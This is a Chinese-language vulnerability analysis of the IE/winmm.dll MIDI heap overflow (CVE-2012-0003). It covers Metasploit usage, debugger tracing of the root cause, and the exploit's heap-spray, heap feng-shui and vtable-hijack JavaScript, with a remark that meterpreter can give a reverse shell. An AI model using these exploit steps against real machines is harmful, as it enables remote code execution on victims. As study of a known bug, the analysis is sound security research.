msf生成恶意文件
# 搜索并使用模块 msf5 > search cve-2012-0003 msf5 > use exploit/windows/browser/ms12_004_midi # 设置payload msf5 exploit(windows/browser/ms12_004_midi) > set payload windows/exec # 设置payload参数,弹出计算器(exploit模块参数保持默认即可 msf5 exploit(windows/browser/ms12_004_midi) > set cmd calc.exe # 攻击:开启服务器,等待目标连接 msf5 exploit(windows/browser/ms12_004_midi) > exploit [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. msf5 exploit(windows/browser/ms12_004_midi) > [*] Using URL: http://0.0.0.0:8080/uMMCLOKsr [*] Local IP: http://127.0.0.1:8080/uMMCLOKsr [*] Server started.
目标机器xp用IE浏览器打开此恶意URL,成功弹出计算器
注意:若目标机器中对IE浏览器开启页堆,则IE会直接报错,不会弹出(默认页堆是关闭的
msf中也得到相关记录
[*] 192.168.156.151 ms12_004_midi - Request as: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) [*] 192.168.156.151 ms12_004_midi - Sending html to 192.168.156.151:1184... [*] 192.168.156.151 ms12_004_midi - Request as: Windows-Media-Player/9.00.00.4503 [*] 192.168.156.151 ms12_004_midi - Sending midi corruption file...
PS:也可设置payload为强大的meterpreter,获取反弹shell
页堆关闭情况下,计算器会弹出,但IE窗口会马上关闭,来不及提取html
故先将页堆开启,使其弹出报错框,而不至于让IE关闭。
C:\Program Files\Debugging Tools for Windows (x86)>gflags.exe -i IExplore.exe +hpa Current Registry Settings for IExplore.exe executable are: 02000000 hpa - Enable page heap
右键-查看源文件,将内容复制并保存为“exploit.html”
html中搜索”mid“,找到相关媒体文件,IE中打开其地址,会默认打开media player,鼓捣一番,发现并不能保存到本地
使用wget会直接404错误,而msf中也会提示未知的UA头
通过--user-agent参数,借用一下IE浏览器的UA头,成功下载
最终命令为:wget --user-agent "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" http://127.0.0.1:8080/uMMCLOKsr/ojGEs.mid
修改html中mid路径为相对路径,将二者放置同一目录,搭建本地环境以方便测试。
MIDI文件由若干块组成,两种块:头块和音轨块
每个块 = 标记 + 长度 + 数据,标记与长度均占4字节,格式如下:
头块中的块数据主要包含:格式类型、音轨数和时间计数值
音轨块中的块数据便是音轨事件数据,常见的音轨事件如下
堆管理器中提供一些调试选项用于辅助堆调试,通过 Windbg 提供的 gflags. exe或者!gflag 命令来设置,常见调试选项如下
堆尾检查
!gflag +htc +hpc
页堆机制
基于导图推算的漏洞分析方法
为方便调试:gflags.exe开启页堆、关闭OD的”忽略异常“相关选项
OD附加IE浏览器,拖入/打开exploit.html,产生访问异常,此处便是崩溃点
IDA中打开目标模块winmm.dll(需加载相应的符号文件),找到崩溃点所在地址,F5查看伪C代码,得知引起崩溃的是v25(对其解引用造成的)
借助IDA中伪C代码,对v25变量进行追溯,最终找到参数a1(在线绘图:https://www.draw.io)
仅通过上述各变量间的联系,暂未发现有价值的信息,现对各变量设置条件记录断点,观察各变量值变化如何
找到能够准确反映变量值的位置,如下表所示:
| 变量 | C代码 | 汇编指令 | 记录值 | 地址 |
| ------ | ---------------------------- | ----------------------------- | ------ | -------- |
| v1 | v2 = (_DWORD )(v1 + 60); | mov esi, [edi+3Ch] | edi | 76B2D050 |
| v2 | v3 = (_DWORD )v2; | mov ecx, [esi] | esi | 76B2D06D |
| v9 | v11 = (_DWORD )(v9 + v37); | mov ecx, [ebx+eax] | ebx | 76B2D0B5 |
| V11 | v13 = v11 & 0xFFFFFF; | and ecx, 0FFFFFFh | ecx | 76B2D0C3 |
| V13 | v35 = v13; | mov [ebp+var_8], ecx | ecx | 76B2D0D1 |
| V20 | v29 = (_BYTE )(v24 + v20); | lea edx, [eax+esi] | esi | 76B2D248 |
| V21 | v36 = v21 & 0xF0; | and dl, 0F0h | dl | 76B2D1F3 |
| V24 | v25 = (char )(v24 + v20); | add esi, eax | eax | 76B2D21E |
| 参数a1 | if ( !(_DWORD )(a1 + 52) ) | cmp dword ptr [edi+34h], 0 | edi | 76B2D044 |
ctrl+g到指定的位置,shift+F4下条件记录断点(暂停程序-从不、记录表达数值-永远)
最终设置的断点如下
ctrl+F2重新运行,alt+L打开日志窗口,得到如下信息:
观察各变量,寻找规律
触发访问异常时,v11=v13=0073B29F,v21=9F,由上述MIDI格式所言,0x9n为”打开音符“的音轨类型。
由此可推断,v11/13为包含参数的音轨事件,v21为具体的音轨事件类型
打开上述提取到的mid文件,也可证实这一点
shift+F2对v11/13下条件断点,当音轨事件为0073B29F时断下,单步跟踪,详细分析
通过“打开音符”音轨事件计算出偏移0x419,esi中存储的是某基址,基址+偏移后越界,解引用后造成访问异常
继续追踪esi中的基址,IDA中提示为v20局部变量,追根溯源找到参数a1
v20来自v1:v20 = *(_DWORD *)(v1 + 132);
v1来自参数a1:v1 = wParam;
光标移至函数名,右键-jump to xref,查看何处调用此函数,从而找到传的参数
参数wParam来自midiOutPlayNextPolyEvent函数内的局部变量v6,而v6来自gpEmuList
查看gpEmuList的引用情况,看“up”方向,w-写操作的,最终找到mesOpen函数
mesOpen内部又调用了winmmAlloc函数
其正是一个堆空间分配函数
综上所述,做一下变量等价替换,最终得到:esi指向申请的400字节堆空间
esi = v20; v20 = *(_DWORD *)(v1 + 132); ==> esi = *(_DWORD *)(v1 + 132); v1 = wParam = gpEmuList; ==> esi = *(_DWORD *)(gpEmuList + 132); gpEmuList = v5; ==> esi = *(_DWORD *)(v5 + 132); *((_DWORD *)v5 + 132) = v6; ==> esi = v6; v6 = winmmAlloc(0x400u); ==> esi = winmmAlloc(0x400u); ==> esi指向申请的400字节堆空间
至此,就能够清晰的看到漏洞是如何形成的:
PS:此处之所以将其归为堆溢出,而非数组越界索引,是因为它是向固定堆块大小之外的地方执行写操作,而且不存在索引数组的动作,这与堆溢出类似,所以将该漏洞定性为堆溢出也算合理。(摘自《漏洞战争》
从exploit.html中提取出关键js代码,共有三部分
(PS:精简过只留大体框架、堆喷射部分并非本文重点
// 第一部分:进行堆喷射 <script language='javascript'> var heap_obj = new heapLib.ie(0x10000); var code = unescape("xxxxxxxxxxxxxxxx"); var ORF = "%u0c0c%u0c0c"; var nops = unescape(ORF); while (nops.length < 0x1000) nops+= nops; var shellcode = nops.substring(0,0x800 - code.length) + code; while (shellcode.length < 0x40000) shellcode += shellcode; var block = shellcode.substring(0, (0x80000-6)/2); heap_obj.gc(); for (var i=0; i < 600; i++) { heap_obj.alloc(block); } </script>
// 第二部分:漏洞利用的关键部分 <script language='javascript'> var heap = new heapLib.ie(); var selob = document.createElement("select") selob.w0 = unescape("%u0c0c%u0c0c") selob.w1 = alert ... selob.w55 = alert var clones = new Array(1000); function feng_shui() { var i = 0; while (i < 1000) { clones[i] = selob.cloneNode(true) i = i + 1; } var j = 0; while (j < 1000) { delete clones[j]; CollectGarbage(); j = j + 2; } } feng_shui(); function trigger(){ var k = 999; while (k > 0) { if (typeof(clones[k].w0) == "string") { } else { clones[k].w0('come on!'); } k = k - 2; } feng_shui(); document.audio.Play(); } </script>
// 第三部分:调用trigger函数,也是关键 <script for=audio event=PlayStateChange(oldState,newState)> if (oldState == 3 && newState == 0) { trigger(); } </script>
第二段js代码分析:
每个属性类型的定义,在内存均用不同的数值表示,比如 0x09 代表 Object,0x08 代表 String
找到分配空间与释放空间的地方,以便设置条件记录断点
分配:CAttrArray::Clone函数
释放:CImplAry::Delete函数
漏洞利用思想:1000个元素的数组,经过间隔释放后,会留有许多间隙,当目标程序在处理音轨事件时,会调用winmmAlloc函数来申请堆空间(如上漏洞成因所言),新申请的堆空间会“插空“,刚好占在被释放的元素位置上,这样其左右两侧均是数组元素,若对此堆空间进行操作,使之产生溢出,则会影响两侧的数据,进而控制程序实施恶意操作。
找到申请堆空间的地方,以便获取堆空间地址,如下eax作为函数返回值便是。
在数组元素分配、释放以及堆空间申请的地方设置条件记录断点,来验证漏洞利用思想是否正确,除此之外,在崩溃点也设置断点(一般断点),以便进行下一步的调试(为避免程序被异常中断,先关闭页堆机制)
// 条件记录断点 0x76B2CDEE: 记录eax: 堆空间地址; 0x7E38E80D: 记录[eax+4]; 数组元素分配地址 0x7E279860: 记录[esi+4]; 数组元素释放地址
alt+T查看日志消息,如上所言,新申请的堆空间实现了“插空“(占在刚释放的数组元素上),地址为0x02B174F0
地址 消息 ... 7E38E80D COND: Array Alloc = 02B174F0 ... 7E279860 COND: Array Free = 02B174F0 ... 76B2CDEE COND: VulBuffer Alloc = 02B174F0 ...
到达崩溃点时,esi指向0x08,即w0属性String
后续在处理NoteOn事件时,会将读取的字节+1并重新写入,0x08+1 = 0x09,由string类型变为Object类型,此时其字符串"0x0c0c0c0c"也会作为指针/地址解析(典型的堆喷射地址)
第三段js代码分析
clones[k].w0('come on!');
属性非String时,会调用CAttrValue::GetIntoVariant 函数,此函数会获取虚表指针、调用虚函数,从而控制程序执行流程
执行到“获取虚表指针”指令处,虚表指针正是w0的字符串“0x0c0c0c0c”,此时其作为指针解析(堆喷射地址)
接下来调用虚函数,call地址为0c0c0c0c,进入布置好的堆空间,经过滑块指令到达shellcode,成功执行,漏洞利用成功!
(祝大家新年快乐、身体健康,肺炎疫情赶紧过去!